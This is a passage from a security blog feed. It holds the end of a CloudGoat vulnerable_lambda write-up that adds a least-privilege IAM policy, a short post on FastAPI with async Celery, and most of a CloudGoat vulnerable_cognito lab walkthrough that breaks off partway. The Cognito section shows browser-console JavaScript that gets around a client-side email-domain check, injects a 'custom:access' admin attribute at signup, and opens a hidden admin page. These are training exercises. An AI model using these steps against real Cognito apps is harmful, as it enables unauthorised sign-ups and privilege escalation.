            return invalid_policy_statement

    return &quot;All managed policies were applied as expected.&quot;
</code></pre><h2 id="applying-a-least-privilege-policy-to-the-bilbo-user">Applying a Least Privilege Policy to the Bilbo User</h2><p>Now that we have fixed the &#xA0;SQL injection vulnerability, would you like to secure this account even more?</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-4.png" class="kg-image" alt loading="lazy" width="724" height="526" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-4.png 600w, https://eduard.schwarzkopf.center/content/images/2024/05/image-4.png 724w" sizes="(min-width: 720px) 720px"></figure><p>Alright, Alright. Somebody is really into securing his cloud environment.</p><p>Time for the least privilege. A least privilege policy grants a user only the permissions they need to perform their job, and <strong>nothing more</strong>.</p><p>I don&apos;t know much about the application here, but I&apos;m certain the &apos;bilbo&apos; user does not need <code>AdministratorAccess</code>, ever. Hell, I&apos;m going to go even one step further and only allow that user to assume a role and <strong>nothing more</strong>.</p><pre><code class="language-python">{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
        {
            &quot;Effect&quot;: &quot;Deny&quot;,
            &quot;NotAction&quot;: [
                &quot;sts:AssumeRole&quot;
            ],
            &quot;Resource&quot;: &quot;*&quot;,
            &quot;Condition&quot;: {
                &quot;ArnNotLike&quot;: {
                    &quot;aws:SourceArn&quot;: &quot;arn:aws:iam::&lt;account_id&gt;:role/cg-lambda-invoker*&quot;
                }
            }
        }
    ]
}</code></pre><p>With this policy attached the &apos;bilbo&apos; user has an explicit deny on everything! The only exception is an assume-role action on the specific role. Least privilege. So, even when that user gets administrator access, he still would not be able to access anything. Why? Because an explicit deny in any of these policies overrides the allow.</p><p>It is like when you ask your Dad for something and he allows it, but then Mom says no, it is a no.</p><p>Let&apos;s verify the theory. First, we are going to list the attached policies user again. Still, AdministratorAccess policy is attached, perfect!</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq
{
    &quot;AttachedPolicies&quot;: [
        {
            &quot;PolicyName&quot;: &quot;AdministratorAccess&quot;,
            &quot;PolicyArn&quot;: &quot;arn:aws:iam::aws:policy/AdministratorAccess&quot;
        }
    ]
}</code></pre><p>Now let&apos;s check if we can still access the secret:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; aws secretsmanager list-secrets

An error occurred (AccessDeniedException) when calling the ListSecrets operation: User: arn:aws:iam::&lt;account_id&gt;:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq is not authorized to perform: secretsmanager:ListSecrets with an explicit deny in an identity-based policy</code></pre><p>As you can see, he is no longer allowed to even list the secrets. Which means the policy is how it should be: Least privilege!</p><h2 id="conclusion">Conclusion</h2><p>Addressing the &quot;vulnerable_lambda&quot; scenario in CloudGoat required us to identify the vulnerable code, eliminate the SQL injection vulnerability, and apply a least privilege policy to the &apos;bilbo&apos; user.</p><p>By taking these steps, we have significantly improved the security not only for the application but also for the cloud environment.</p><p>Looking ahead, I plan to continue exploring more scenarios in CloudGoat. Each scenario presents a unique set of challenges and opportunities to learn about different types of vulnerabilities and how to mitigate them. I encourage you to join us on this journey of learning and improvement.</p><p>Don&apos;t hesitate to share your thoughts, experiences, and solutions to this scenario.</p>]]></content:encoded></item><item><title><![CDATA[FastAPI with async Celery tasks]]></title><description><![CDATA[<p>Like all developers with too many side projects and an immense imposter syndrome, I was working on the next great feature for <a href="https://pecuny.app/dashboard/?ref=eduard.schwarzkopf.center">my side-project</a>. Import via CSV!</p><p>First I implemented a working solution with FastAPI&apos;s <a href="https://fastapi.tiangolo.com/tutorial/background-tasks/?ref=eduard.schwarzkopf.center">BackoundTasks</a> feature. But this didn&apos;t feel right. In the documentation Celery</p>]]></description><link>https://eduard.schwarzkopf.center/fastapi-with-async-celery-tasks/</link><guid isPermaLink="false">66377887031e2c00015f33a6</guid><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Sun, 05 May 2024 14:41:18 GMT</pubDate><content:encoded><![CDATA[<p>Like all developers with too many side projects and an immense imposter syndrome, I was working on the next great feature for <a href="https://pecuny.app/dashboard/?ref=eduard.schwarzkopf.center">my side-project</a>. Import via CSV!</p><p>First I implemented a working solution with FastAPI&apos;s <a href="https://fastapi.tiangolo.com/tutorial/background-tasks/?ref=eduard.schwarzkopf.center">BackoundTasks</a> feature. But this didn&apos;t feel right. In the documentation Celery recommended, so I go with that. No problem. I&apos;ve already worked with Celery, so that should not be a big problem!</p><h2 id="it-was-a-big-problem">It was a big problem</h2><p>While <code>BackgroundTasks</code> are for running tasks in the background after the request-response cycle, it falls short in scenarios requiring long-running or resource-intensive operations. You know, such as processing large CSV files for imports.</p><p>This is out of the way, what exactly is the problem with Celery? Async! Because of the nature of pecuny, I&apos;m using <a href="https://file+.vscode-resource.vscode-cdn.net/home/eduard/projects/fastapi-async-celery/asynchronicity-my-new-town?ref=eduard.schwarzkopf.center">async database sessions</a>. Which was no problem with <code>BackgrounTasks</code>, but Celery is not <a href="https://github.com/celery/celery/issues/3884?ref=eduard.schwarzkopf.center">supporting async tasks yet</a>. What a bummer. Which means I need to find a way that suits my needs.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/suit-up-1651460453.gif" class="kg-image" alt loading="lazy" width="498" height="222"><figcaption>Iron Man suites up</figcaption></figure><h2 id="the-solution">The Solution</h2><p>Reading a ton of Celery tutorials (like 3!), which none covered async tasks. Even <a href="https://derlin.github.io/introduction-to-fastapi-and-celery/03-celery/?ref=eduard.schwarzkopf.center">FastAPI + Celery = &#x2665;</a> which promised me it would equal love, but didn&apos;t deliver &#x1F614;.</p><p>Luckily I was not the only one facing <a href="https://stackoverflow.com/questions/39815771/how-to-combine-celery-with-asyncio/69585025?ref=eduard.schwarzkopf.center">this issue</a>. There are a couple of working solutions, but only one of them I found perfect for me. <a href="https://stackoverflow.com/questions/39815771/how-to-combine-celery-with-asyncio/69585025?ref=eduard.schwarzkopf.center#69585025">AsyncCelery</a>! A big thanks to Cyril for providing this class. </p><p>Why do I love it? Because it solves my problem, without the need to load in another library or do some weird shenanigans. It is working, clean and simple enough that I understand what is going on.</p><h2 id="minimal-example">Minimal Example</h2><p>I know that it would be a lot of struggle to go through pecuny&apos;s codebase to find out how exactly I implemented it, so I&apos;ve created a dedicated repository for this. Because I love you!</p><p><a href="https://github.com/EduardSchwarzkopf/fastapi-async-celery?ref=eduard.schwarzkopf.center">fastapi-async-celery</a></p><h2 id="conclusion">Conclusion</h2><p>In the world of software development, finding the right tool for the job can often be as challenging as squaring the circle. My journey with pecuny&apos;s import feature epitomizes this, starting with FastAPI&apos;s <code>BackgroundTasks</code> and transitioning to Celery in hopes of a more robust solution. Yet, the asynchronous nature of Pecuny&apos;s database sessions threw a wrench in the works, underscoring Celery&apos;s current limitations with async tasks. </p><p>This experience reminds us that no tool is a one-size-fits-all solution, prompting a continuous search for alternatives that align with our unique project needs.</p>]]></content:encoded></item><item><title><![CDATA[CloudGoat - vulnerable_cognito]]></title><description><![CDATA[<p>Deploying a secure environment in AWS is like threading a needle in the vast expanse of cloud services&#x2014;a single misstep can leave you vulnerable to a security breach.<br>This post will delve into the intricate details of deploying a vulnerable AWS Cognito scenario using CloudGoat and document every</p>]]></description><link>https://eduard.schwarzkopf.center/untitled/</link><guid isPermaLink="false">6659e872031e2c00015f34ca</guid><category><![CDATA[AWS]]></category><category><![CDATA[Cognito]]></category><category><![CDATA[CyberSec]]></category><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Thu, 15 Feb 2024 16:15:00 GMT</pubDate><content:encoded><![CDATA[<p>Deploying a secure environment in AWS is like threading a needle in the vast expanse of cloud services&#x2014;a single misstep can leave you vulnerable to a security breach.<br>This post will delve into the intricate details of deploying a vulnerable AWS Cognito scenario using CloudGoat and document every twist and turn encountered along the way.</p><h3 id="a-sign-in-form-with-restrictions">A Sign-In Form with Restrictions</h3><p>As always, the first step is to deploy the scenario:</p><pre><code class="language-bash">$ ./cloudgoat.py create vulnerable_cognito
...
apigateway_url = &quot;https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/index.html&quot;
cloudgoat_output_aws_account_id = &quot;&lt;account_id&gt;&quot;

[cloudgoat] terraform application completed with no error code.

[cloudgoat] terraform output completed with no error code.
apigateway_url = https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/index.html
cloudgoat_output_aws_account_id = &lt;account_id&gt;

[cloudgoat] Output file written to:

    /Users/eduardschwarzkopf/projects/cloudgoat/vulnerable_cognito_cgidigx3lybttl/start.txt
</code></pre><p>Alright, time to check out the <code>apigateway_url</code>. A Login form. Also a signup form. Nothing too fancy so far. Let&apos;s poke around a little bit.<br>After the first tests, it seems that we are only allowed to sign up with emails ending in <code>@ecorp.com</code>. I don&apos;t have that domain, so I need to find another way in.</p><p>What about the HTML code for the signup form?</p><pre><code class="language-html">&lt;div class=&quot;app-view&quot;&gt;  
    &lt;header class=&quot;app-header&quot;&gt;
      &lt;h1&gt;Vuln Cognito&lt;/h1&gt;
      Welcome,&lt;br&gt;
      &lt;span class=&quot;app-subheading&quot;&gt;
        Signup to continue&lt;br&gt;
      &lt;/span&gt;
    &lt;/header&gt;
    &lt;input type=&quot;text&quot; id=&quot;first&quot; placeholder=&quot;First Name&quot;&gt;
    &lt;input type=&quot;text&quot; id=&quot;last&quot; placeholder=&quot;Last Name&quot;&gt;
    &lt;input type=&quot;email&quot; id=&quot;email&quot; required=&quot;&quot; placeholder=&quot;Email (user@ecorp.com)&quot;&gt;
    &lt;!--pattern=&quot;[a-zA-Z0-9]{1,40}@ecorp.com&quot;--&gt;
    &lt;input type=&quot;password&quot; id=&quot;password&quot; required=&quot;&quot; placeholder=&quot;Password&quot;&gt;
    &lt;a class=&quot;app-button&quot; onclick=&quot;Signup()&quot;&gt;Signup&lt;/a&gt;
    &lt;div class=&quot;app-register&quot;&gt;
      Don&apos;t have an account? &lt;a href=&quot;./index.html&quot;&gt;Login&lt;/a&gt;
    &lt;/div&gt;
  &lt;/div&gt;
</code></pre><p>As you can see there is an onclick event with a <code>Signup</code> function. Interesting. Let&apos;s search for it.<br>After a quick look at the top, I&apos;m able to find this function:</p><pre><code class="language-javascript">
function Signup(){

//  var letters = /[a-zA-Z0-9]{1,40}@ecorp.com/;

  var email = document.getElementById(&apos;email&apos;).value;
  var Regex = email.search(&apos;@ecorp.com&apos;);
//  alert(Regex);

  if(Regex == -1) {

    alert(&quot;Only Emails from ecorp.com are accepted&quot;);
    return false;

  }

  var first = document.getElementById(&apos;first&apos;).value;
  var last = document.getElementById(&apos;last&apos;).value;
  var password = document.getElementById(&apos;password&apos;).value;



  var poolData = {
    UserPoolId: &apos;us-east-1_VBPiVJR5E&apos;,
    ClientId: &apos;2tc0q6pcg2glt9no2hsho0ng1i&apos;,
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: &apos;email&apos;,
    Value: email,
  };

  var dataFirstName = {
    Name: &apos;given_name&apos;,
    Value: first,
  };

  var dataLastName = {
    Name: &apos;family_name&apos;,
    Value: last,
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log(&apos;user name is &apos; + cognitoUser.getUsername());
  });

}

</code></pre><p>As expected this function is responsible for enforcing the email domain check. But oh my, oh my! It also reveals some information about Cognito: <code>UserPoolId</code> and <code>ClientId</code>. Let&apos;s write that down:</p><ul><li>UserPoolId: us-east-1_VBPiVJR5E</li><li>ClientId: 2tc0q6pcg2glt9no2hsho0ng1i</li></ul><h3 id="a-custom-signup-function-tailoring-access">A Custom Signup Function: Tailoring Access</h3><p>Well since I&apos;m in JavaScript world (&#x1F922;), I can fiddle around with the code here in the browser console. So, I&apos;m going to make my own signup function with blackjack and hookers!</p><p>The only thing that stands in our way is the email domain validation. Validation, who needs that, am I right? Let&apos;s do a little trick called <a href="https://en.wikipedia.org/wiki/Defenestration?ref=eduard.schwarzkopf.center">Defenestration</a>.</p><p>So here it is, the <code>MuchBetterSignup</code> function:</p><pre><code class="language-javascript">function MuchBetterSignup(){

  var email = &quot;vulnerable_cognito@existiert.net;

  var first = &quot;John&quot;;
  var last = &quot;Doe&quot;;
  var password = &quot;D6jte%A@ap4B@9&amp;cM$&amp;wH*AcME!27ugj&quot;;

  var poolData = {
    UserPoolId: &apos;us-east-1_VBPiVJR5E&apos;,
    ClientId: &apos;2tc0q6pcg2glt9no2hsho0ng1i&apos;,
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: &apos;email&apos;,
    Value: email,
  };

  var dataFirstName = {
    Name: &apos;given_name&apos;,
    Value: first,
  };

  var dataLastName = {
    Name: &apos;family_name&apos;,
    Value: last,
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log(&apos;Custom Signup - user name is &apos; + cognitoUser.getUsername());
  });

}
</code></pre><p><strong>Sidenote</strong>: I&apos;m using temporary emails from <a href="https://muellmail.com/en?ref=eduard.schwarzkopf.center">M&#xFC;llmail.com</a>.</p><p>The execution reveals the following:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-6.png" class="kg-image" alt loading="lazy" width="1480" height="434" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-6.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-6.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-6.png 1480w" sizes="(min-width: 720px) 720px"></figure><p>First try! One step closer to the goal. Let&apos;s move on.</p><h3 id="user-confirmation-and-credential-scrutiny">User Confirmation and Credential Scrutiny</h3><p>After successfully executing the <code>MuchBetterSignup</code> function, I received a confirmation code.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-7.png" class="kg-image" alt loading="lazy" width="1476" height="574" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-7.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-7.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-7.png 1476w" sizes="(min-width: 720px) 720px"></figure><p>Guess, I also need to find a way to confirm this user now. After a little bit of research, it seems that <a href="https://docs.aws.amazon.com/code-library/latest/ug/cognito-identity-provider_example_cognito-identity-provider_ConfirmSignUp_section.html?ref=eduard.schwarzkopf.center">sdk documentation</a> gives me the correct answer:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-8.png" class="kg-image" alt loading="lazy" width="2000" height="1013" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-8.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-8.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/05/image-8.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/05/image-8.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Ok, so this code should confirm the user:</p><pre><code class="language-javascript">
  var confirmationCode = &quot;557070&quot;

  var poolData = {
    UserPoolId: &apos;us-east-1_VBPiVJR5E&apos;,
    ClientId: &apos;2tc0q6pcg2glt9no2hsho0ng1i&apos;,
  };

  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
   Username: &quot;vulnerable_cognito@existiert.net&quot;,
   Pool: userPool
  });

  cognitoUser.confirmRegistration(confirmationCode, true, (err, result) =&gt; {
   if (err) {
    console.log(&apos;error&apos;, err.message);
    return;
   }

   console.log(&apos;call result: &apos; + JSON.stringify(result));
  });

</code></pre><p>Confirmation code to expired. Dang it, it took me too long. I need a new confirmation code. No problemo! This should be easy:</p><pre><code class="language-javascript">var poolData = {
    UserPoolId: &apos;us-east-1_VBPiVJR5E&apos;,
    ClientId: &apos;2tc0q6pcg2glt9no2hsho0ng1i&apos;,
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
    Username: &quot;vulnerable_cognito@existiert.net&quot;,
    Pool: userPool
});


cognitoUser.resendConfirmationCode((error, result) =&gt; {
            if (error) {
                console.log(&apos;error&apos;);
                console.log(error);
                reject(error);
            } else {
                console.log(&apos;result&apos;);
                console.log(result);
                resolve(result);
            }
        }
);
</code></pre><p>Well, this is a weird output:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-9.png" class="kg-image" alt loading="lazy" width="1488" height="976" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-9.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-9.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-9.png 1488w" sizes="(min-width: 720px) 720px"></figure><p>On the first try again!</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-12.png" class="kg-image" alt loading="lazy" width="1528" height="630" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-12.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-12.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-12.png 1528w" sizes="(min-width: 720px) 720px"></figure><p>Now better execute the function with the new confirmation code:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-13.png" class="kg-image" alt loading="lazy" width="1056" height="342" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-13.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-13.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-13.png 1056w" sizes="(min-width: 720px) 720px"></figure><p>Weird, seems like I&apos;ve already confirmed that user somehow?! Let&apos;s try to log in then:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-14.png" class="kg-image" alt loading="lazy" width="1014" height="262" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-14.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-14.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-14.png 1014w" sizes="(min-width: 720px) 720px"></figure><p>Success! I&apos;m a Reader!! Whatever that means.</p><p>So what we&apos;ve got here? Time to dive into the code again:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-15.png" class="kg-image" alt loading="lazy" width="2000" height="425" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-15.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-15.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/05/image-15.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/05/image-15.png 2296w" sizes="(min-width: 720px) 720px"></figure><p>Not anything useful, except the console output. What about the storage?</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-16.png" class="kg-image" alt loading="lazy" width="2000" height="330" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-16.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-16.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/05/image-16.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/05/image-16.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Alright, looks like a JWT. Let&apos;s hop over to <a href="https://jwt.io/?ref=eduard.schwarzkopf.center">jwt.io</a> and check the payload:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-17.png" class="kg-image" alt loading="lazy" width="2000" height="1314" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-17.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-17.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/05/image-17.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/05/image-17.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Here it is in the full payload:</p><pre><code class="language-json">{
  &quot;sub&quot;: &quot;2aacf7a4-05be-4d17-8994-74fad13545ab&quot;,
  &quot;iss&quot;: &quot;https://cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E&quot;,
  &quot;client_id&quot;: &quot;2tc0q6pcg2glt9no2hsho0ng1i&quot;,
  &quot;origin_jti&quot;: &quot;cd452c69-3dc2-456e-bd38-466551d5b33e&quot;,
  &quot;event_id&quot;: &quot;b2f482ed-472a-42e8-99db-f75b9ce9453c&quot;,
  &quot;token_use&quot;: &quot;access&quot;,
  &quot;scope&quot;: &quot;aws.cognito.signin.user.admin&quot;,
  &quot;auth_time&quot;: 1707816500,
  &quot;exp&quot;: 1707820100,
  &quot;iat&quot;: 1707816500,
  &quot;jti&quot;: &quot;c0b9ee8a-1225-49ec-912d-2ca44cc79112&quot;,
  &quot;username&quot;: &quot;2aacf7a4-05be-4d17-8994-74fad13545ab&quot;
}
</code></pre><p>The <code>scope</code> seems to be interesting. I mean, <code>admin</code> is always interesting. May be useful later.</p><p>Checking the other tokens reveals not that much information. But the <code>idToken</code> is a bit different:</p><pre><code class="language-json">{
  &quot;sub&quot;: &quot;2aacf7a4-05be-4d17-8994-74fad13545ab&quot;,
  &quot;email_verified&quot;: true,
  &quot;iss&quot;: &quot;https://cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E&quot;,
  &quot;cognito:username&quot;: &quot;2aacf7a4-05be-4d17-8994-74fad13545ab&quot;,
  &quot;given_name&quot;: &quot;John&quot;,
  &quot;custom:access&quot;: &quot;reader&quot;,
  &quot;origin_jti&quot;: &quot;cd452c69-3dc2-456e-bd38-466551d5b33e&quot;,
  &quot;aud&quot;: &quot;2tc0q6pcg2glt9no2hsho0ng1i&quot;,
  &quot;event_id&quot;: &quot;b2f482ed-472a-42e8-99db-f75b9ce9453c&quot;,
  &quot;token_use&quot;: &quot;id&quot;,
  &quot;auth_time&quot;: 1707816500,
  &quot;exp&quot;: 1707820100,
  &quot;iat&quot;: 1707816500,
  &quot;family_name&quot;: &quot;Doe&quot;,
  &quot;jti&quot;: &quot;3e5c0f27-ad36-4b63-a856-48f5294f4ec9&quot;,
  &quot;email&quot;: &quot;vulnerable_cognito@existiert.net&quot;
}
</code></pre><p>Just all the user data as it seems. But and that is a big but, we&apos;ve got one interesting attribute here: <code>custom:access</code>.</p><p>OK, now what? Maybe I can edit this attribute and write something else to it? you know something like <code>admin</code>.<br>Since the Sign-Up form gave us access to the SDK, maybe I&apos;m able to use that to edit this value:</p><pre><code class="language-javascript">
var poolData = {
    UserPoolId: &apos;us-east-1_VBPiVJR5E&apos;,
    ClientId: &apos;2tc0q6pcg2glt9no2hsho0ng1i&apos;,
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
    Username: &quot;vulnerable_cognito@existiert.net&quot;,
    Pool: userPool
});

var customAttribute = new AmazonCognitoIdentity.CognitoUserAttribute({
        Name: &quot;custom:access&quot;,
        Value: &quot;admin&quot;
});

cognitoUser.updateAttributes([customAttribute], function (err, result) {
        console.log({ err, result });
});
</code></pre><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-18.png" class="kg-image" alt loading="lazy" width="1312" height="630" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-18.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-18.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-18.png 1312w" sizes="(min-width: 720px) 720px"></figure><p>Not authenticated. So nothing I can do here.<br>How about I add a user with the attribute on sign-up?</p><h3 id="the-ploy-for-admin-access">The Ploy for Admin Access</h3><p>Alright, let&apos;s write a new sign-up function that sets the <code>custom:access</code> value:</p><pre><code class="language-javascript">function AdminSignup(){

  var email = &quot;vulnerable_cognito_admin@jaga.email&quot;;

  var first = &quot;John&quot;;
  var last = &quot;Doe&quot;;
  var password = &quot;D6jte%A@ap4B@9&amp;cM$&amp;wH*AcME!27ugj&quot;;

  var poolData = {
    UserPoolId: &apos;us-east-1_VBPiVJR5E&apos;,
    ClientId: &apos;2tc0q6pcg2glt9no2hsho0ng1i&apos;,
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: &apos;email&apos;,
    Value: email,
  };

  var dataFirstName = {
    Name: &apos;given_name&apos;,
    Value: first,
  };

  var dataLastName = {
    Name: &apos;family_name&apos;,
    Value: last,
  };

  // added
  var dataAdminAccess = {
    Name: &apos;custom:access&apos;,
    Value: &apos;admin&apos;,
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  var attribueAdminAccess = new AmazonCognitoIdentity.CognitoUserAttribute(dataAdminAccess); // added

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  attributeList.push(attribueAdminAccess); // added

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log(&apos;Admin Signup - user name is &apos; + cognitoUser.getUsername());
  });

}
</code></pre><p>That worked perfectly. Registering and confirming went smoothly. Now logging in!</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-19.png" class="kg-image" alt loading="lazy" width="1014" height="262" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-19.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-19.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-19.png 1014w" sizes="(min-width: 720px) 720px"></figure><p>Still a &apos;Reader&apos;?! So that was &quot;ein Schuss in den Ofen&quot;.</p><p>Hmpf... What now? Upon checking the url I see a <code>reader.html</code>. How about <code>admin.html</code>?</p><p><code>https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/admin.html</code></p><p>I&apos;ll be damned, that worked!!</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-20.png" class="kg-image" alt loading="lazy" width="660" height="188" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-20.png 600w, https://eduard.schwarzkopf.center/content/images/2024/05/image-20.png 660w"></figure><p>This security by obscurity was a weak one.</p><h3 id="exploiting-the-system-the-final-play">Exploiting the System: The Final Play</h3><p>Well, what can I do here? Checking the source code again reveals something very very juicy:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-21.png" class="kg-image" alt loading="lazy" width="2000" height="592" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-21.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-21.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/05/image-21.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/05/image-21.png 2400w" sizes="(min-width: 720px) 720px"></figure><pre><code class="language-javascript">var poolData = {
  UserPoolId: &apos;us-east-1_VBPiVJR5E&apos;,
  ClientId: &apos;2tc0q6pcg2glt9no2hsho0ng1i&apos;,
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);
var cognitoUser = userPool.getCurrentUser();


if (cognitoUser != null) {
	cognitoUser.getSession(function(err, result) {
		if (result) {
			console.log(&apos;You are now logged in.&apos;);

			//POTENTIAL: Region needs to be set if not already set previously elsewhere.
			AWS.config.region = &apos;us-east-1&apos;;

			// Add the User&apos;s Id Token to the Cognito credentials login map.
			AWS.config.credentials = new AWS.CognitoIdentityCredentials({
				IdentityPoolId: &apos;us-east-1:66ba9fc0-1528-4e33-9482-e9d6216862e7&apos;,
				Logins: {
					&apos;cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E&apos;: result
						.getIdToken()
						.getJwtToken(),
				},
			});
		}
	});
}
//call refresh method in order to authenticate user and get new temp credentials
AWS.config.credentials.refresh(error =&gt; {
	if (error) {
		console.error(error);
	} else {
		console.log(&apos;Successfully logged!&apos;);
	}
});

